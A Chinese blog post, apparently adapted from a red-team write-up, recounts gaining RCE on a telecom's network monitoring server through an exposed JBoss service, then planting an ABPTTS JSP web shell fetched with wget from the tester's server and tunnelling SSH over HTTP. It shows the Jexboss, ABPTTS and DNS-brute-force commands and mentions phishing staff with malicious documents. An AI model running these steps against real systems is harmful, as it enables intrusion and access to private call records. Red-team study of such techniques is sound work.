戏精斗哥第4弹之“进入”国外某电信公司内网-Part1(获取RCE和反向代理)

大家好,这是一则关于国外红队如何渗透进入国外某电信网络的第一篇文章(共2篇),希望大家能够喜欢!由于部分信息的敏感性,斗哥做了适当的删减和打码。(在此向大家表示歉意😅)

0x00 故事概述国外某电信公司的一次红队渗透。首先在该公司的网络监控系统(NMS)上找到了一个立足点(jboss rce),解决了HTTP隧道SSH的反向shell问题。在获得稳定的反向shell后,通过代理内部网络以进行内部网络扫描,内网中偶然发现SS7客户端应用,导致可任意访问CDRs和VLR并获取关键信息。0x01 背景介绍前段时间斗哥被委派到某客户单位做红队的工作。客户要求要突破网络边界进入核心网络,过程中接触到电信网络的呼叫数据记录(CDRs)。不知道什么是CDR的人,这是一个很好的解释(无耻地从维基百科上复制过来)。呼叫详细记录(CDR)是由电话交换机或其他电信设备制作的数据记录,记录了通过该设施或设备的电话呼叫或其他电信交易(如短信)的细节。该记录包含通话的各种属性,如时间、持续时间、完成状态、来源号码和目的地号码。在斗哥其他所有工作中,这都占有特殊的位置。获得最初的立足点太容易了(通过简单的网络服务开发来获得RCE),但是问题在于稳定的shell上。在本系列文章(而不是教程)中,斗哥将分享如何在几分钟内从远程代码执行(RCE)到近程内部网络扫描的经验。0x02 信息搜集相信每个红队人员都知道信息搜集(侦查)的重要性。“给斗哥6个小时砍一棵树,斗哥会用前4个小时磨斧头 “这句话在这边很合适。信息搜集越广泛,就越有可能找到可利用的点。侦察的范围越广,命中的几率就越大。因此,对于RTE而言,常见的侦察选择包括:DNS枚举,ASN和BGP查找,来自多个搜索引擎的一些被动侦察,检查诸如GitHub,BitBucket,GitLab等源代码存储库的内容,以及进行一些OSINT操作,如果找不到RCE,则对员工进行鱼叉式网络钓鱼。(当斗哥这样说时,请相信我,欺骗员工下载并执行恶意文档很容易,但前提是您可以克服障碍-AV和垃圾邮件过滤器)你可以从许多来源对目标单位进行信息搜集。就斗哥而言,一般从DNS枚举本身开始。aiodnsbrute -v -t 7000 --no-verify -w dns-list.uniq.lst ******.com.** | grep -v Timeout | grep -v Misformatted | grep -v exception有趣的是:斗哥使用的字典有277万条唯一的DNS记录。大多数RTE会对所有发现的子域名寻找80或443端口。问题是,有时为了安全起见,最好进行一次完整的端口扫描。在本系列文章中,斗哥发现了一个子域名e[REDACTED]-nms.[REDACTED].com.[REDACTED],在进行全端口扫描后,斗哥得到了一些有趣的结果如下图所示:其中12000/tcp和14000/tcp的端口没什么特别的,但是14100/tcp,似乎有点东西,只能说这是斗哥的幸运日!!!。很明显这是一个未授权访问的jboss服务!!0x03 利用JBoss进行RCE从这里开始,大家只要利用过臭名昭著的JBoss漏洞,就知道事情会如何发展了。对于新手来说,如果你还没有JBoss利用的经验,可以看看下面的链接,帮你解决利用的问题。JBoss–弥合企业与你之间的距离黑客攻击和安全防护_jboss对于JBoss的利用,使用Jexboss()工具中包含了许多方法和利用技术,它还涵盖了Application和Servlet反序列化和Struct2。你也可以使用Metasploit来利用JBoss,不过斗哥我更喜欢Jexboss。因此一旦发现了JBoss,斗哥很快就启动了Jexboss进行利用。这个工具很容易使用。./jexboss.py -u http://[REDACTED]:14100/从上面的截图我们可以看到,服务器是有漏洞的。使用JMXInvokerServlet方法,斗哥就能在服务器上获得远程代码执行。很直接的利用! 对吧?你肯定在想,这也不是什么高级的东西,那么这篇文章有什么不一样?耐心点,伙计们!现在斗哥有了立足点,但实际问题出现了。像往常一样,一旦有了RCE,斗哥就试着弄个反向shell。很快斗哥就得到了一个反向连接!然而,shell并不稳定,python进程在几秒钟后就被杀死。斗哥甚至尝试了使用其他反向shell单行有效载荷,尝试不同的通用端口,甚至连UDP也尝试了,但结果都是一样的。斗哥还尝试了不同形式的reverse_tcp/http/https Metasploit payloads来获取meterpreter连接,但是meterpreter shell同样在几秒钟后就被断开了。斗哥之前也遇到过一些这样的情况,斗哥一直在思考,如果无法获得反向shell,那么下一步该将如何进行?通过HTTP隧道进入Bind shell连接!0x04 玩转隧道:TCP隧道技术现在,当斗哥尝试得到一个稳定的反向壳时,但是失败了。于是斗哥想到的另一个想法是得到一个绑定的shell(通过HTTP得到SSH,以达到稳定的目的),而不是通过HTTP反向(TCP Tunnel over HTTP)。但是斗哥这里到底要达到什么目的呢?通过HTTP的TCP隧道(为了TCP稳定的目的)+隐形SSH连接(通过创建的TCP隧道)+SOCKS隧道(动态SSH隧道)进行内部网络扫描,使用Metasploit通过这些递归隧道利用内部网络服务进行数据外流。看起来非常复杂?让我们把它分解成多个步骤:首先,斗哥在我的服务器和NMS服务器之间建立了一个桥接器,这样它就可以支持不同协议的通信,而不仅仅是HTTP/HTTPS(目前>L2)[HTTP上的TCP隧道]。一旦创建了桥接器(TCP Tunnel over HTTP),斗哥就可以配置并实现了从我的服务器(2222/tcp)到NMS服务器(22/tcp)的SSH端口转发,这样斗哥就可以通过SSH over HTTP连接到NMS服务器。(准确的说是SSH over TCP over HTTP)注意:NMS服务器上的SSH服务是在127.0.0.1上运行的。然后,将NMS SSH服务器配置为允许root登录,并生成SSH私钥(将我的公钥复制到authorized_hosts文件中),以便通过SSH访问NMS服务器。使用私钥检查SSH连接到NMS,当它工作时,然后创建了一个动态SSH隧道(SOCKS)来代理Metasploit通过SSH隧道(准确地说,是Metasploit通过SSH隧道通过TCP隧道通过HTTP)。下面斗哥把我是如何创建隧道和玩法一步一步来详细介绍:Tunneling 101隧道协议是一种允许数据从一个网络移动到另一个网络的通信协议。它涉及到允许私人网络通信通过一个称为封装的过程在公共网络(如互联网)上发送。由于隧道涉及将流量数据重新包装成不同的形式,或许以加密为标准,因此它可以隐藏通过隧道运行的流量的性质。隧道协议的工作原理是利用数据包的数据部分(有效载荷)来承载实际提供服务的数据包。隧道使用分层协议模型,如OSI或TCP/IP协议套件中的那些,但当使用有效载荷来携带通常不由网络提供的服务时,通常会违反分层。通常情况下,在分层模型中,传输协议的运行水平与有效载荷协议的运行水平相等或更高。来源:维基百科。维基百科所以基本上是把webserver作为中间代理,把webserver的所有网络包(TCP包)转发到内部网络。通过Web服务器使用HTTP协议将TCP数据包转发到内部网络。在端口访问受限和出口流量被过滤的情况下,TCP隧道可以帮助你。目前斗哥的这种情况下,虽然没有太多的过滤,但是不稳定,因此使用这种技术可以获得稳定的shell访问。现在斗哥已经在服务器上有了一个RCE,而且也有了 “root “的权限。斗哥很快就利用这个机会使用ABPTTS(创建了一个基于JSP的shell。向着太阳的黑色之路(ABPTTS),正如GitHub repo中的解释。ABPTTS使用一个Python客户端脚本和一个Web应用服务器页面/包,通过HTTP/HTTPS连接将TCP流量隧道到Web应用服务器。目前,该工具只支持JSP/WAR和ASP.NET服务器端组件。所以斗哥的想法是用ABPTTS创建一个基于JSP的shell,并上传到Web服务器上,让工具与JSP的shell连接,并通过HTTP创建一个TCP隧道,在斗哥的系统和服务器之间建立一个安全的shell(SSH)。python abpttsfactory.py -o jexws4.jsp当使用ABPTTS生成shell时,该工具创建了一个配置文件,用于创建HTTP/HTTPS的TCP隧道。然后斗哥用wget把JSP shell上传到服务器上。注意:jexws4.war shell是Jexboss的一个包。当你通过Jexboss利用JBoss漏洞时,该工具会将自己的WAR shell上传到服务器上。在本系列的文章中,斗哥只是试着找到这个WAR/JSP shell(jexws4.jsp),然后用ABPTTS shell替换掉它wget http://[MY SERVER]/jexws4.jsp -O <location of jexws4.jsp shell on NMS server>当ABPTTS shell上传到服务器后,斗哥很快在Jexboss上确认,随机执行了一个命令看输出。为什么这么说呢?现在Jexboss的shell已经被ABPTTS shell覆盖了,无论我执行什么命令,输出的都是由于ABPTTS shell打印出来的哈希值。从上面的截图可以看出,当斗哥执行 “id “命令的时候,得到了一个奇怪的哈希值返回,证明ABPTTS shell已经上传成功了!现在斗哥已经配置了一个通过HTTP的TCP隧道,接下来斗哥想做的是将服务器上运行的SSH端口(NMS上的22/tcp)进行隧道化,并将该端口绑定到斗哥的系统上(2222/tcp)。这样斗哥就可以通过SSH连接到NMS。你注意到斗哥在这里想做什么了吗?通过HTTP的TCP隧道进行SSH端口转发(还没有隧道)。尽管斗哥还没有在NMS上和自己的服务器上配置SSH部分的SSH Tunnel。目前,斗哥只是准备了端口转发机制,这样斗哥就可以从我的服务器上用2222/tcp到达NMS上的本地端口22/tcp。python abpttsclient.py -c <location of config file> -u <ABPTTS shell URL> -f 127.0.0.1:2222/127.0.0.1:22斗哥检查了我的连接表,检查端口是否正确转发。从下面的截图中可以看到,我的服务器的2222/tcp端口处于LISTEN状态。现在接下来要做的是配置SSH服务器连接到NMS,并启动动态SSH隧道(SOCKS)。篇幅有限,斗哥将在下一篇文章中介绍这个问题,敬请期待。剧本来源:1.https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-1-getting-the-rce-167c2bb320e62.https://medium.com/bugbountywriteup/how-i-hacked-into-a-telecom-network-part-2-playing-with-tunnels-tcp-tunneling-b4cef2837938